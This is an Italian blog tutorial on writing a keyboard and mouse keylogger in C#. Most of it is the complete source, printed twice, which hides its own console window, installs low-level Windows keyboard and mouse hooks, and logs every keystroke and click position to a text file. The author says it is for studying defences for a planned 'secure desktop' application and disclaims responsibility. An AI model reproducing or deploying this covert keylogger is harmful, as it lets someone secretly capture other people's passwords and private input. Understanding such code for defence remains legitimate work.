C# - Come creare un Keylogger di Tastiera e Mouse e studiare il suo funzionamento.

Oggi voglio mettervi ha disposizione una funzione che ho trovato su internet che serve per catturare o meglio intercettare la pressione dei tasti da tastiera e di registrarle in un file di Log di testo.
(ATTENZIONE!! Per i più maliziosi informo che tutti gli antivirus lo riconoscono e pertanto lo eliminano o lo inseriscono nella cartella della quarantena...)
Il motivo che ho fatto questo articolo è dovuto al fatto che dovevo testare una applicazione che sarà il prossimo articolo sul Desktop Secure (Desktop Sicuro) . L'obbiettivo è di creare una Applicazione sicura hai Keylogger e hai sniffer di rete. Attualmente sono riuscito solo a rendere l'applicazione sicura hai Keylogger.
Premetto che per prima cosa dobbiamo importare delle DLL che ci aiuteranno a comunicare con il Sistema Operativo e che ci permetterà di interagirci ed ottenere cosi le informazioni dei tasti premuti.. Non useremo nessun timer o altre funzioni strane.. useremo direttamente gli Allert che il sistema operativo manda. Per quanto riguarda il mouse noi recupereremo soltanto la posizione x e y .
Aggiornerò questo articolo con due argomenti che avevo già trattato in passato gli HOOK , appena ho finito di studiare :-) nel frattempo vi allego un articolo dove troverete delle cose divertenti e utili http://msdn.microsoft.com/it-it/magazine/cc188966(en-us).aspx .
CODICE VISUAL STUDIO 2010 - C#
using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
class Keylogger
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static LowLevelMouseProc _procMouse = HookCallbackMouse;
private static IntPtr _hookIDMouse = IntPtr.Zero;
public static void Main()
{
var handle = GetConsoleWindow();
// Hide
ShowWindow(handle, SW_HIDE);
_hookID = SetHook(_proc);
_hookIDMouse = SetHookMouse(_procMouse);
Application.Run();
UnhookWindowsHookEx(_hookID);
UnhookWindowsHookEx(_hookID);
}
private static IntPtr SetHookMouse(LowLevelMouseProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_MOUSE_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallbackMouse(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 &&
MouseMessages.WM_LBUTTONDOWN == (MouseMessages)wParam)
{
MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));
Console.WriteLine(hookStruct.pt.x + ", " + hookStruct.pt.y);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write("Mouse Click " + hookStruct.pt.x + ", " + hookStruct.pt.y + "\r\n");
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private const int WH_MOUSE_LL = 14;
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
private enum MouseMessages
{
WM_LBUTTONDOWN = 0x0201,
WM_LBUTTONUP = 0x0202,
WM_MOUSEMOVE = 0x0200,
WM_MOUSEWHEEL = 0x020A,
WM_RBUTTONDOWN = 0x0204,
WM_RBUTTONUP = 0x0205
}
[StructLayout(LayoutKind.Sequential)]
private struct POINT
{
public int x;
public int y;
}
[StructLayout(LayoutKind.Sequential)]
private struct MSLLHOOKSTRUCT
{
public POINT pt;
public uint mouseData;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
}
Premetto che questo articolo non è scopo per incentivare a creare Keylogger ma solo per aiutare a capire come intercettare i tasti premuti per creare applicazioni che si avviano velocemente alla pressione dei tasti. Non sono responsabile del codice e ne l'uso che ne farete.
By ImaginSystems & Queen Gin
using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
class Keylogger
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static LowLevelMouseProc _procMouse = HookCallbackMouse;
private static IntPtr _hookIDMouse = IntPtr.Zero;
public static void Main()
{
var handle = GetConsoleWindow();
// Hide
ShowWindow(handle, SW_HIDE);
_hookID = SetHook(_proc);
_hookIDMouse = SetHookMouse(_procMouse);
Application.Run();
UnhookWindowsHookEx(_hookID);
UnhookWindowsHookEx(_hookID);
}
private static IntPtr SetHookMouse(LowLevelMouseProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_MOUSE_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
private static IntPtr HookCallbackMouse(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 &&
MouseMessages.WM_LBUTTONDOWN == (MouseMessages)wParam)
{
MSLLHOOKSTRUCT hookStruct = (MSLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(MSLLHOOKSTRUCT));
Console.WriteLine(hookStruct.pt.x + ", " + hookStruct.pt.y);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write("Mouse Click " + hookStruct.pt.x + ", " + hookStruct.pt.y + "\r\n");
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private static IntPtr HookCallback(
int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
Console.WriteLine((Keys)vkCode);
StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.txt", true);
sw.Write((Keys)vkCode);
sw.Close();
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
private const int WH_MOUSE_LL = 14;
private delegate IntPtr LowLevelMouseProc(int nCode, IntPtr wParam, IntPtr lParam);
private enum MouseMessages
{
WM_LBUTTONDOWN = 0x0201,
WM_LBUTTONUP = 0x0202,
WM_MOUSEMOVE = 0x0200,
WM_MOUSEWHEEL = 0x020A,
WM_RBUTTONDOWN = 0x0204,
WM_RBUTTONUP = 0x0205
}
[StructLayout(LayoutKind.Sequential)]
private struct POINT
{
public int x;
public int y;
}
[StructLayout(LayoutKind.Sequential)]
private struct MSLLHOOKSTRUCT
{
public POINT pt;
public uint mouseData;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelMouseProc lpfn, IntPtr hMod, uint dwThreadId);
}